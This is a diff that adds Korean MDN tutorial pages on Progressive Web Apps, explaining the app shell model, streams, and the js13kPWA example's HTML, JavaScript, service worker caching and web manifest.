+ <li>서버 사이드 렌더링(SSR)은 웹사이트가 서버에서 렌더링되는 것을 의미합니다. 따라서 더 빠른 첫 로딩을 제공할 수 있지만, 페이지간의 이동에서 모든것들을 매번 다운로드해야합니다. 브라우저를 넘어 훌륭하게 동작하고 개발 프로세스를 돕는 많은 도구들이 있지만, 각 페이지를 로딩할 때마다 서버를 거쳐야 한다는 점에서 로딩 속도 및 성능으로 인식되는 일반적인 측면에서 어려움이 있습니다.</li>
+ <li>클라이언트 사이드 렌더링(CSR)은 웹 사이트가 다른 페이지로 이동할 때 브라우저에서 거의 즉시 업데이트될 수 있도록 해주지만, 시작할 때 더 많은 초기 다운로드와 추가 렌더링이 필요합니다. 웹사이트는 첫 방문시 더 느리지만 다음 방문에서 훨씬 빠릅니다.</li>
+</ul>
+
+<p>SSR과 CSR을 혼합하여 서버에서 웹 사이트를 렌더링하고, 컨텐츠를 캐싱한 후, 필요할 때 클라이언트 사이드에서 렌더링을 업데이트하여 최고의 결과를 이끌어 낼 수 있습니다. 첫 페이지 로딩은 SSR때문에 빠르고, 페이지간의 이동은 클라이언트에서 변경된 부분만 다시 렌더링하므로 부드럽습니다.</p>
+
+<p>여러분이 선호하는 접근법을 사용해 PWA를 구축할 수 있지만, 다른 것들보다 더 잘 동작하는 몇 가지 방법이 있습니다. 가장 유명한 접근법은 바로 위에서 설명한 SSR과 CSR을 혼합한 "app shell" 개념이며, 그 다음으로 "오프라인 우선" 방법론입니다. 이는 우리의 예제 앱을 사용해 다음 문서에서 자세한 내용에 대해 설명할 것입니다. 간략히 설명드릴 <a href="/ko/docs/Web/API/Streams_API">Streams API</a>를 포함하는 새로운 접근법도 있습니다.</p>
+
+<h2 id="App_shell">App shell</h2>
+
+<p>App shell 개념은 가능한 최소한의 사용자 인터페이스를 로딩하는것에 중점을 두고 있으며, 이를 캐싱하여 다음 방문에서 앱의 모든 컨텐츠가 로딩되기 전에 오프라인에서도 사용이 가능합니다. 이렇게 하면 다음에 누군가 기기로부터 앱에 방문할 때, UI는 캐시로부터 즉시 로딩되고 새로운 컨텐츠는 서버로부터 요청합니다(캐시에서 이미 사용할 수 없는 경우).</p>
+
+<p>이 구조는 빠르고, 사용자가 로딩 스피너나 빈 페이지 대신 "무언가"를 즉시 보게됨으로써 속도가 빠름을 느낄 수 있습니다. 또한 네트워크 연결이 불가할 때 웹사이트를 오프라인에서도 접근할 수 있도록 허용합니다.</p>
+
+<p>우리는 서버로부터 요청된 것과 <a href="/ko/docs/Web/API/Service_Worker_API">service worker</a>를 사용해 캐시된 것으로부터 받은 것들을 제어할 수 있습니다. 다음 문서에서 자세한 내용에 대해 설명할 것입니다. 지금은 구조 자체에 대해 집중합시다.</p>
+
+<h3 id="이걸_사용해야_하는_이유가_무엇인가요">이걸 사용해야 하는 이유가 무엇인가요?</h3>
+
+<p>이 구조는 웹 사이트에 모든 PWA 기능들로부터 최고의 이점을 제공합니다. App shell을 캐싱하고 동적인 컨텐츠를 관리하여 훌륭하게 성능을 향상시킵니다. 기본 shell과 더불어, 앱이 사용자들의 브라우저에서 지원되지 않을 때도 여전히 사용하다는 전제하에 <a href="/ko/docs/Web/Apps/Progressive/Add_to_home_screen">홈 화면에 추가</a> 또는 <a href="/ko/docs/Web/API/Push_API">푸시 알림</a>과 같은 다른 기능들도 추가할 수 있습니다. 이 점이 점진적인 향상의 아름다움입니다.</p>
+
+<p>웹 사이트는 웹의 이점들을 모두 유지하면서 즉각적인 반응과 견고한 성능을 가진 네이티브 앱처럼 느껴집니다.</p>
+
+<h3 id="연결_가능하며_점진적이고_디자인에_반응하는_것">연결 가능하며, 점진적이고 디자인에 반응하는 것</h3>
+
+<p>어플리케이션을 디자인할 때 PWA의 이점을 기억하고 이를 유지하는 것이 중요합니다. App shell 접근법은 웹 사이트가 다음과 같이 될 수 있도록 허용합니다.</p>
+
+<ul>
+ <li>연결 가능: 네이티브 앱처럼 동작한다고해도 이는 여전히 웹 사이트입니다. 여러분은 페이지의 링크를 클릭할 수 있고, 누군가에게 URL을 공유할 수 있습니다.</li>
+ <li>점진적: "좋은 오래된 기본적인 웹사이트"로 시작해서 새로운 기능을 점진적으로 추가하되, 브라우저에서 지원하지 않는 기능을 감지하고 이에 대한 적절한 에러 처리를 할 것을 기억하시기 바랍니다. 예를 들어, service worker의 도움을 통한 오프라인 모드는 더 나은 웹 사이트 경험을 제공하는 부가적인 특성일 뿐, 없어도 충분히 사용이 가능합니다.</li>
+ <li>반응형: 반응형 웹 디자인 또한 프로그레시브 웹 앱에 적용됩니다. 둘 다 주로 모바일 기기에 해당됩니다. 기기와 브라우저는 아주 다양합니다. 따라서 <a href="/ko/docs/Mozilla/Mobile/Viewport_meta_tag">뷰포트 meta 태그</a>, <a href="/ko/docs/Web/CSS/Media_Queries/Using_media_queries">CSS 미디어 쿼리</a>, <a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">Flexbox</a>, <a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS Grid</a> 와 같은 기술들을 사용해 여러분의 웹사이트를 다양한 화면 크기, 뷰포트 또는 픽셀 밀도에서 동작하도록 준비하는 것이 중요합니다.</li>
+</ul>
+
+<h2 id="다른_개념_streams">다른 개념: streams</h2>
+
+<p><a href="/ko/docs/Web/API/Streams_API">Streams API</a>를 사용해 완전히 다른 방식으로 서버 또는 클라이언트 사이드 렌더링 수행할 수 있습니다. Service worker로부터의 약간 도움으로 우리는 컨텐츠를 분석하는 방법을 크게 향상시킬 수 있습니다.</p>
+
+<p>App shell 모델은 사용할 모든 리소스를 웹 사이트가 렌더링을 시작하기 전에 필요로합니다. 이는 브라우저가 실제로 데이터를 스트리밍하고 엘리먼트가 웹 사이트에 로드되고 렌더링되었을 때 여러분이 볼 수 있으므로 HTML과 다릅니다. 하지만, JavaScript를 "동작 가능하게" 하려면, 이를 전체적으로 다운로드해야 합니다.</p>
+
+<p>Streams API는 개발자가 서버로부터의 데이터 스트리밍에 직접 접근할 수 있도록 해줍니다. 여러분이 데이터에 대한 작업을 수행하길 원할 경우(비디오에 필터를 추가하는 것과 같은), 모든 데이터의 다운로드 및 blob로의 변환(어떤 타입으로든)을 기다릴 필요없이 바로 시작할 수 있습니다. Streams API는 시작, 다른 stream으로 연결, 취소, 에러 확인 등의 세분화된 컨트롤을 제공합니다.</p>
+
+<p>이론적으로 스트리밍은 더 나은 모델이지만, 더 복잡하며 글을 작성하는 시점(2018년 3월)에서 Streams API는 여전히 작업중이며 모든 주요 브라우저에서 아직 완전하게 사용이 가능하지 않습니다. 사용이 가능해지면 이는 컨텐츠를 제공하는 가장 빠른 방법이 될 것입니다. 성능 측면에서 아주 큰 이점을 갖게 될 것입니다.</p>
+
+<p>작동하는 예제와 자세한 내용은 <a href="/ko/docs/Web/API/Streams_API">Streams API 문서</a>를 확인하시기 바랍니다.</p>
+
+<h2 id="예제_어플리케이션의_구조">예제 어플리케이션의 구조</h2>
+
+<p><a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> 웹 사이트 구조는 아주 간단합니다. 하나의 HTML 파일(<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/index.html">index.html</a>)과 기본적인 CSS 스타일링(<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/style.css">style.css</a>), 몇 가지 이미지, 스크립트, 폰트로 구성되어 있습니다. 폴더 구조는 다음과 같습니다.</p>
+
+<p><img alt="Folder structure of js13kPWA." src="https://mdn.mozillademos.org/files/15925/js13kpwa-directory.png" style="border-style: solid; border-width: 1px; display: block; height: 356px; margin: 0px auto; width: 320px;"></p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML의 관점에서보면 app shell은 컨텐츠 섹션 외부의 모든 영역입니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;js13kGames A-Frame entries&lt;/title&gt;
+ &lt;meta name="description" content="A list of A-Frame entries submitted to the js13kGames 2017 competition, used as an example for the MDN articles about Progressive Web Apps."&gt;
+ &lt;meta name="author" content="end3r"&gt;
+ &lt;meta name="theme-color" content="#B12A34"&gt;
+ &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;
+ &lt;meta property="og:image" content="icons/icon-512.png"&gt;
+ &lt;link rel="shortcut icon" href="favicon.ico"&gt;
+ &lt;link rel="stylesheet" href="style.css"&gt;
+ &lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;
+ &lt;script src="data/games.js" defer&gt;&lt;/script&gt;
+ &lt;script src="app.js" defer&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;header&gt;
+ &lt;p&gt;&lt;a class="logo" href="http://js13kgames.com"&gt;&lt;img src="img/js13kgames.png" alt="js13kGames"&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;/header&gt;
+&lt;main&gt;
+ &lt;h1&gt;js13kGames A-Frame entries&lt;/h1&gt;
+ &lt;p class="description"&gt;List of games submitted to the &lt;a href="http://js13kgames.com/aframe"&gt;A-Frame category&lt;/a&gt; in the &lt;a href="http://2017.js13kgames.com"&gt;js13kGames 2017&lt;/a&gt; competition. You can &lt;a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa"&gt;fork js13kPWA on GitHub&lt;/a&gt; to check its source code.&lt;/p&gt;
+ &lt;button id="notifications"&gt;Request dummy notifications&lt;/button&gt;
+ &lt;section id="content"&gt;
+ // Content inserted in here
+ &lt;/section&gt;
+&lt;/main&gt;
+&lt;footer&gt;
+ &lt;p&gt;© js13kGames 2012-2018, created and maintained by &lt;a href="http://end3r.com"&gt;Andrzej Mazur&lt;/a&gt; from &lt;a href="http://enclavegames.com"&gt;Enclave Games&lt;/a&gt;.&lt;/p&gt;
+&lt;/footer&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>{{htmlelement("head")}} 섹션은 title, description, CSS 링크, 웹 manifest, games 컨텐츠 JS 파일, app.js 파일을 포함합니다. JavaScript 어플리케이션이 초기화되는 곳이기도 합니다. {{htmlelement("body")}}는 {{htmlelement("header")}}(연결된 이미지를 포함), {{htmlelement("main")}}페이지(title, description, 컨텐츠를 위한 공간), {{htmlelement("footer")}}(저작권 및 링크)로 나누어져 있습니다.</p>
+
+<p>app의 유일한 작업은 js13kGames 2017 대회의 A-Frame 항목을 모두 나열하는 것입니다. 보시다시피 매우 평범하고, 한 페이지 웹 사이트 입니다. 중요한 것은 실제 PWA 기능들의 구현에 집중할 수 있는 무언가 간단한 것을 갖는 것입니다.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>CSS도 평범합니다. {{cssxref("@font-face")}}를 사용해 커스텀 폰트를 로딩 및 사용하고, 몇 가지 HTML 엘리먼트에 간단한 스타일을 적용합니다. 전반적인 접근은 모바일(반응형 웹 디자인 접근법)과 데스크탑 기기 모두에서 괜찮게 보이도록 하는 것입니다.</p>
+
+<h3 id="메인_앱_JavaScript">메인 앱 JavaScript</h3>
+
+<p>app.js 파일은 다음 문서에서 자세히 살펴볼 몇 가지 것들을 합니다. 먼저, 다음 템플릿을 기반으로 컨텐츠를 생성합니다.</p>
+
+<pre class="brush: js">var template = "&lt;article&gt;\n\
+ &lt;img src='data/img/SLUG.jpg' alt='NAME'&gt;\n\
+ &lt;h3&gt;#POS. NAME&lt;/h3&gt;\n\
+ &lt;ul&gt;\n\
+ &lt;li&gt;&lt;span&gt;Author:&lt;/span&gt; &lt;strong&gt;AUTHOR&lt;/strong&gt;&lt;/li&gt;\n\
+ &lt;li&gt;&lt;span&gt;Twitter:&lt;/span&gt; &lt;a href='https://twitter.com/TWITTER'&gt;@TWITTER&lt;/a&gt;&lt;/li&gt;\n\
+ &lt;li&gt;&lt;span&gt;Website:&lt;/span&gt; &lt;a href='http://WEBSITE/'&gt;WEBSITE&lt;/a&gt;&lt;/li&gt;\n\
+ &lt;li&gt;&lt;span&gt;GitHub:&lt;/span&gt; &lt;a href='https://GITHUB'&gt;GITHUB&lt;/a&gt;&lt;/li&gt;\n\
+ &lt;li&gt;&lt;span&gt;More:&lt;/span&gt; &lt;a href='http://js13kgames.com/entries/SLUG'&gt;js13kgames.com/entries/SLUG&lt;/a&gt;&lt;/li&gt;\n\
+ &lt;/ul&gt;\n\
+&lt;/article&gt;";
+var content = '';
+for(var i=0; i&lt;games.length; i++) {
+ var entry = template.replace(/POS/g,(i+1))
+ .replace(/SLUG/g,games[i].slug)
+ .replace(/NAME/g,games[i].name)
+ .replace(/AUTHOR/g,games[i].author)
+ .replace(/TWITTER/g,games[i].twitter)
+ .replace(/WEBSITE/g,games[i].website)
+ .replace(/GITHUB/g,games[i].github);
+ entry = entry.replace('&lt;a href=\'http:///\'&gt;&lt;/a&gt;','-');
+ content += entry;
+};
+document.getElementById('content').innerHTML = content;</pre>
+
+<p>다음으로, service worker를 등록합니다.</p>
+
+<pre class="brush: js">if('serviceWorker' in navigator) {
+ navigator.serviceWorker.register('/pwa-examples/js13kpwa/sw.js');
+};</pre>
+
+<p>다음 코드 블럭은 버튼을 클릭했을 때 알림에 대한 권한을 요청합니다.</p>
+
+<pre class="brush: js">var button = document.getElementById("notifications");
+button.addEventListener('click', function(e) {
+ Notification.requestPermission().then(function(result) {
+ if(result === 'granted') {
+ randomNotification();
+ }
+ });
+});</pre>
+
+<p>마지막 블럭은 게임 리스트로부터 랜덤하게 선택된 항목을 나타내는 알림을 생성합니다.</p>
+
+<pre class="brush: js">function randomNotification() {
+ var randomItem = Math.floor(Math.random()*games.length);
+ var notifTitle = games[randomItem].name;
+ var notifBody = 'Created by '+games[randomItem].author+'.';
+ var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
+ var options = {
+ body: notifBody,
+ icon: notifImg
+ }
+ var notif = new Notification(notifTitle, options);
+ setTimeout(randomNotification, 30000);
+}</pre>
+
+<h3 id="Service_worker">Service worker</h3>
+
+<p>빠르게 살펴볼 마지막 파일(sw.js)은 service worker입니다. 이는 먼저 games.js 파일로부터 데이터를 불러옵니다.</p>
+
+<pre class="brush: js">self.importScripts('data/games.js');</pre>
+
+<p>다음으로, app shell과 컨텐츠 모두로부터 캐싱할 모든 파일의 리스트를 생성합니다.</p>
+
+<pre class="brush: js">var cacheName = 'js13kPWA-v1';
+var appShellFiles = [
+ '/pwa-examples/js13kpwa/',
+ '/pwa-examples/js13kpwa/index.html',
+ '/pwa-examples/js13kpwa/app.js',
+ '/pwa-examples/js13kpwa/style.css',
+ '/pwa-examples/js13kpwa/fonts/graduate.eot',
+ '/pwa-examples/js13kpwa/fonts/graduate.ttf',
+ '/pwa-examples/js13kpwa/fonts/graduate.woff',
+ '/pwa-examples/js13kpwa/favicon.ico',
+ '/pwa-examples/js13kpwa/img/js13kgames.png',
+ '/pwa-examples/js13kpwa/img/bg.png',
+ '/pwa-examples/js13kpwa/icons/icon-32.png',
+ '/pwa-examples/js13kpwa/icons/icon-64.png',
+ '/pwa-examples/js13kpwa/icons/icon-96.png',
+ '/pwa-examples/js13kpwa/icons/icon-128.png',
+ '/pwa-examples/js13kpwa/icons/icon-168.png',
+ '/pwa-examples/js13kpwa/icons/icon-192.png',
+ '/pwa-examples/js13kpwa/icons/icon-256.png',
+ '/pwa-examples/js13kpwa/icons/icon-512.png'
+];
+var gamesImages = [];
+for(var i=0; i&lt;games.length; i++) {
+ gamesImages.push('data/img/'+games[i].slug+'.jpg');
+}
+var contentToCache = appShellFiles.concat(gamesImages);</pre>
+
+<p>다음 블럭은 service worker를 설치하여 위의 목록에 포함된 모든 파일을 실제로 캐싱합니다.</p>
+
+<pre class="brush: js">self.addEventListener('install', function(e) {
+ console.log('[Service Worker] Install');
+ e.waitUntil(
+ caches.open(cacheName).then(function(cache) {
+ console.log('[Service Worker] Caching all: app shell and content');
+ return cache.addAll(contentToCache);
+ })
+ );
+});</pre>
+
+<p>마지막으로, service worker는 가능한 경우 캐시로부터 컨텐츠를 패치하여 오프라인 기능을 제공합니다.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(e) {
+ e.respondWith(
+ caches.match(e.request).then(function(r) {
+ console.log('[Service Worker] Fetching resource: '+e.request.url);
+ return r || fetch(e.request).then(function(response) {
+ return caches.open(cacheName).then(function(cache) {
+ console.log('[Service Worker] Caching new resource: '+e.request.url);
+ cache.put(e.request, response.clone());
+ return response;
+ });
+ });
+ })
+ );
+});</pre>
+
+<h3 id="JavaScript_데이터">JavaScript 데이터</h3>
+
+<p>게임 데이터는 JavaScript 객체(<a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa/data/games.js">games.js</a>)의 data 폴더에 있습니다.</p>
+
+<pre class="brush: js">var games = [
+ {
+ slug: 'lost-in-cyberspace',
+ name: 'Lost in Cyberspace',
+ author: 'Zosia and Bartek',
+ twitter: 'bartaz',
+ website: '',
+ github: 'github.com/bartaz/lost-in-cyberspace'
+ },
+ {
+ slug: 'vernissage',
+ name: 'Vernissage',
+ author: 'Platane',
+ twitter: 'platane_',
+ website: 'github.com/Platane',
+ github: 'github.com/Platane/js13k-2017'
+ },
+// ...
+ {
+ slug: 'emma-3d',
+ name: 'Emma-3D',
+ author: 'Prateek Roushan',
+ twitter: '',
+ website: '',
+ github: 'github.com/coderprateek/Emma-3D'
+ }
+];</pre>
+
+<p>모든 항목은 data/img 폴더안의 각각의 이미지를 갖고 있습니다. 이는 JavaScript를 사용해 컨텐츠 섹션으로 로딩될 컨텐츠입니다.</p>
+
+<h2 id="다음으로">다음으로</h2>
+
+<p>다음 문서에서는 service worker의 도움을 통한 오프라인 사용을 위해 app shell과 컨텐츠가 어떻게 캐싱되는지에 대해 더 자세히 살펴볼 것입니다.</p>
+
+<p>{{PreviousMenuNext("Web/Apps/Progressive/Introduction", "Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive")}}</p>
diff --git a/files/ko/web/progressive_web_apps/index.html b/files/ko/web/progressive_web_apps/index.html
new file mode 100644
index 0000000000..c07ad4434d
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/index.html
@@ -0,0 +1,76 @@
+---
+title: 프로그레시브 웹 앱
+slug: Web/Progressive_web_apps
+tags:
+ - 앱
+ - 최신 웹 앱
+ - 프로그레시브 웹 앱
+translation_of: Web/Progressive_web_apps
+---
+<p class="summary">프로그레시브 웹 앱은 최신 웹 API와 전통적인 점진적 개선 전략을 함께 사용해 크로스 플랫폼 웹 어플리케이션을 생성합니다. 이러한 앱은 어디서든 동작하며 네이티브 앱에서의 사용자 경험 이점과 동일한 몇 가지 기능들을 제공합니다. 이 문서에서는 이에 대해 여러분이 알아야 할 모든 것들에 대해 알려드립니다.</p>
+
+<h2 id="PWA_이점">PWA 이점</h2>
+
+<p>PWA는 발견 가능, 설치 가능, 연결 가능해야 하고, 네트워크에 독립적이어야 하고, 점진적이고 재참여가 가능해야하며 반응형이고 안전해야 합니다. 이러한 것들이 무엇을 의미하는지는 <a href="/ko/docs/Web/Apps/Progressive/Advantages">프로그레시브 웹 앱 이점</a> 문서를 읽어보시기 바랍니다. PWA를 구현하는 방법은 아래 섹션에 나열된 가이드를 참조하십시오.</p>
+
+<h2 id="핵심_PWA_가이드">핵심 PWA 가이드</h2>
+
+<p>다음 가이드는 간단한 예제를 살펴보고 모든 조각이 어떻게 동작하는지 보여줌으로써 PWA 구현을 위해 해야하는 것들이 무엇인지 보여줍니다.</p>
+
+<ol>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Introduction">프로그레시브 웹 앱 소개</a></li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/App_structure">프로그레시브 웹 앱 구조</a></li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Offline_Service_workers">Service worker를 사용해 PWA를 오프라인에서 동작하게 만들기</a></li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Installable_PWAs">PWA를 설치가능하게 만드는 방법</a></li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Re-engageable_Notifications_Push">알림과 푸시를 사용해 PWA를 재참여(re-engageable)가능하게 만드는 방법</a></li>
+</ol>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="기술_가이드">기술 가이드</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">클라이언트 사이드 저장소</a> — 웹 저장소, IndexedDB, service worker를 언제 어떻게 사용하는지 보여주는 상세 가이드</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service worker 사용</a> — Service Worker API에 대한 더 자세한 가이드.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/IndexedDB_API/Using_IndexedDB">IndexedDB 사용</a> — IndexedDB의 근본에 대한 자세한 설명.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Web Storage API 사용</a> — 간단하게 만들어진 Web storage API.</li>
+ <li><a class="external external-icon" href="https://developers.google.com/web/updates/2015/11/app-shell" rel="noopener">Application Shell 구조를 사용한 웹 앱 즉시 로딩</a> — App Shell 코딩 패턴을 사용해 빠르게 로딩되는 앱을 생성하는 가이드.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Push_API/Using_the_Push_API">Push API 사용</a> — Web Push API의 기초에 대해 배우기.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Notifications_API/Using_the_Notifications_API">Notifications API 사용</a> — 웹 알림 요약.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Apps/Modern/Responsive/responsive_design_building_blocks">반응형 디자인 블록 구축</a> — 반응형 디자인 기초, 최신 앱 레이아웃 필수 주제 배우기.</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Apps/Modern/Responsive/Mobile_first">모바일 우선</a> — 반응형 어플리케이션 레이아웃을 생성할 때, 보통 기본적으로 모바일 레이아웃을 생성하고, 더 넓은 상단 레이아웃을 구축하는 것이 좋습니다.</li>
+ <li><a href="/ko/docs/Web/Apps/Progressive/Add_to_home_screen">홈 화면에 추가 가이드</a> — 앱을 홈 화면에 추가하여 얻을 수 있는 이점에 대해 배우기.</li>
+</ul>
+</div>
+
+<div class="column-half">
+<h2 id="도구">도구</h2>
+
+<ul>
+ <li><a class="external external-icon" href="https://localforage.github.io/localForage/" rel="noopener">localForage</a> — 아주 간단하게 클라이언트 사이드 데이터 저장소를 만들 수 있는 훌륭하고 가벼운 JavaScript 라이브러리. 기본적으로 IndexedDB를 사용하고 필요한 경우 Web SQL/Web Storage를 사용합니다.</li>
+ <li><a class="external external-icon" href="https://github.com/fxos-components/serviceworkerware" rel="noopener">ServiceWorkerWare</a> — 손쉬운 Service Worker 개발을 위한 Express 같은 마이크로프레임워크.</li>
+ <li><a class="external external-icon" href="https://github.com/mozilla/oghliner" rel="noopener">oghliner</a> — 템플릿이자 GitHub 페이지에 오프라인 웹 앱을 배포하기 위한 도구.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/sw-precache" rel="noopener">sw-precache</a> — 특정 리소스를 프리캐싱(미리 캐싱;precache)하는 service worker 코드를 생성하는 노드 모듈.</li>
+ <li><a class="external external-icon" href="https://github.com/GoogleChrome/workbox" rel="noopener">workbox</a> — 더 나은 캐싱 전략과 쉬운 프리캐싱을 제공하는 sw-precache의 정신적 지주.</li>
+ <li><a class="external external-icon" href="https://www.talater.com/upup/" rel="noopener">upup</a> — 사이트가 사용자들을 위해 항상 존재하도록 해주는 작은 스크립트.</li>
+ <li><a class="external external-icon" href="https://serviceworke.rs/" rel="noopener">The service worker cookbook</a> — 오프라인 앱 및 그 이상의 다양한 앱 구현 방법을 보여주는 훌륭한 service worker/push 가이드 시리즈.</li>
+</ul>
+
+<p> </p>
+</div>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/progressive-web-apps">Progressive web apps</a> on Google Developers</li>
+ <li class="graf--h3 graf--first" id="4c45"><a href="https://medium.com/@slightlylate/progressive-apps-escaping-tabs-without-losing-our-soul-3b93a8561955#.6czgj0myh">Progressive Web Apps: Escaping Tabs Without Losing Our Soul</a> by Alex Russell</li>
+ <li class="graf--h3 graf--first"><a href="https://developers.google.com/web/progressive-web-apps/checklist">Progressive Web Apps Check List</a></li>
+ <li class="graf--h3 graf--first"><a href="https://developers.google.com/web/tools/lighthouse">The Lighthouse Tool</a> by Google</li>
+ <li class="graf--h3 graf--first"><a href="https://github.com/angular/mobile-toolkit">Tools for building progressive web apps with Angular</a></li>
+ <li class="graf--h3 graf--first"><a href="https://github.com/codebusking/react-pwa-guide-kit">React PWA Guide Kit</a></li>
+ <li class="graf--h3 graf--first"><a href="https://www.pokedex.org/">Offline-capable Pokédex web site</a></li>
+ <li class="graf--h3 graf--first">
+ <p><a href="https://hnpwa.com/">Hacker News readers as Progressive Web Apps</a> </p>
+ </li>
+</ul>
diff --git a/files/ko/web/progressive_web_apps/installable_pwas/index.html b/files/ko/web/progressive_web_apps/installable_pwas/index.html
new file mode 100644
index 0000000000..df76c4ed2e
--- /dev/null
+++ b/files/ko/web/progressive_web_apps/installable_pwas/index.html
@@ -0,0 +1,123 @@
+---
+title: PWA를 설치가능하게 만드는 방법
+slug: Web/Progressive_web_apps/Installable_PWAs
+tags:
+ - PWA
+ - a2hs
+ - js13kGames
+ - 설치가능
+ - 프로그레시브
+ - 프로그레시브 웹 앱
+ - 홈 화면에 추가
+translation_of: Web/Progressive_web_apps/Installable_PWAs
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Offline_Service_workers", "Web/Apps/Progressive/Re-engageable_Notifications_Push", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">이전 문서에서는 <a href="/ko/docs/Web/API/Service_Worker_API">service worker</a>의 도움으로 <a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> 을 오프라인에서 동작하는 방법에 대해 알아보았습니다. 그런데 우리는 더 나아가 모바일 브라우저를 지원하는 웹 앱을 네이티브 앱처럼 설치할 수 있게 할수도 있습니다. 이 문서에서는 웹 manifest를 사용해 홈 화면에 추가라고 불리는 기능을 구현하는 방법에 대해 설명합니다.</p>
+
+<p>이러한 기술들은 앱을 URL을 수동으로 브라우저에 입력하는 대신 기기의 홈 화면에서 바로 실행할 수 있도록 해줍니다. 여러분의 웹 앱을 네이티브 어플리케이션 바로 옆 가장 좋은 자리에 놓을 수 있습니다. 따라서 접근이 더 쉽고, 브라우저 주변 기능이 없는 전체 화면에서 실행되도록 지정하여 더욱 더 네이티브 앱과 같은 느낌을 줄 수 있습니다.</p>
+
+<h2 id="요구_사항">요구 사항</h2>
+
+<p>웹 사이트를 설치가능하게 하려면 다음과 같은 것들이 필요합니다.</p>
+
+<ul>
+ <li><a href="/ko/Apps/Progressive/Add_to_home_screen#Manifest">올바른 값들로 채워진</a> 웹 manifest</li>
+ <li>보안 (HTTPS) 도메인에서 제공되는 웹 사이트</li>
+ <li>기기에서 앱을 나타낼 아이콘</li>
+ <li>앱을 오프라인에서 동작하게 하기 위한 service worker 등록(현재 Android용 Chrome에서만 요구됩니다)</li>
+</ul>
+
+<h3 id="manifest_파일">manifest 파일</h3>
+
+<p>핵심 요소는 JSON 형식으로 웹 사이트에 대한 모든 정보를 나열한 웹 manifest 파일입니다.</p>
+
+<p>파일은 일반적으로 웹 앱의 루트 폴더에 위치합니다. 앱의 title, 모바일 OS에서 앱을 나타내는데 사용(예를 들어, 홈 화면 아이콘)되는 다른 크기의 아이콘들의 경로, 로딩 또는 스플래시 화면에서 사용할 배경 색상과 같은 유용한 정보들을 포함합니다. 이는 브라우저가 웹 앱을 설치할 때 그리고 홈 화면에서 웹 앱을 적절히 표현하기 위해 필요한 정보입니다.</p>
+
+<p><a href="https://mdn.github.io/pwa-examples/js13kpwa/">js13kPWA</a> 웹 앱의 <code>js13kpwa.webmanifest</code> 파일은 코드의 다음 라인을 통해 <code>index.html</code> 파일의 {{htmlelement("head")}} 섹션에 포함됩니다.</p>
+
+<pre class="brush: html">&lt;link rel="manifest" href="js13kpwa.webmanifest"&gt;</pre>
+
+<div class="note">
+<p><strong>노트</strong>: 과거에 manifest로 사용되던 몇 가지 흔한 확장자들이 있습니다: <code>manifest.webapp</code> 은 Firefox OS 웹 manifest로 유명하며, 많은 사람들이 JSON 구조로 내용이 구성된 <code>manifest.json</code>을 사용합니다. 하지만, <code>.webmanifest</code> 확장자는 <a href="https://w3c.github.io/manifest/">W3C manifest 명세</a>에 명시적으로 언급되고 있으므로 이를 그대로 사용하도록 하겠습니다.</p>
+</div>
+
+<p>파일의 내용은 다음과 같습니다.</p>
+
+<pre class="brush: json">{
+ "name": "js13kGames Progressive Web App",
+ "short_name": "js13kPWA",
+ "description": "Progressive Web App that lists games submitted to the A-Frame category in the js13kGames 2017 competition.",
+ "icons": [
+ {
+ "src": "icons/icon-32.png",
+ "sizes": "32x32",
+ "type": "image/png"
+ },
+ // ...
+ {
+ "src": "icons/icon-512.png",
+ "sizes": "512x512",
+ "type": "image/png"
+ }
+ ],
+ "start_url": "/pwa-examples/js13kpwa/index.html",
+ "display": "fullscreen",
+ "theme_color": "#B12A34",
+ "background_color": "#B12A34"
+}</pre>
+
+<p>항목은 대부분은 스스로를 설명하고있지만, 문서를 분석하고 자세한 내용에 대해 설명해드리겠습니다.</p>
+
+<ul>
+ <li><code>name</code>: 웹 앱의 이름입니다.</li>
+ <li><code>short_name</code>: 홈 화면에 표시할 약식 이름입니다.</li>
+ <li><code>description</code>: 앱이 무엇을 하는지 설명하는 간략한 문장입니다.</li>
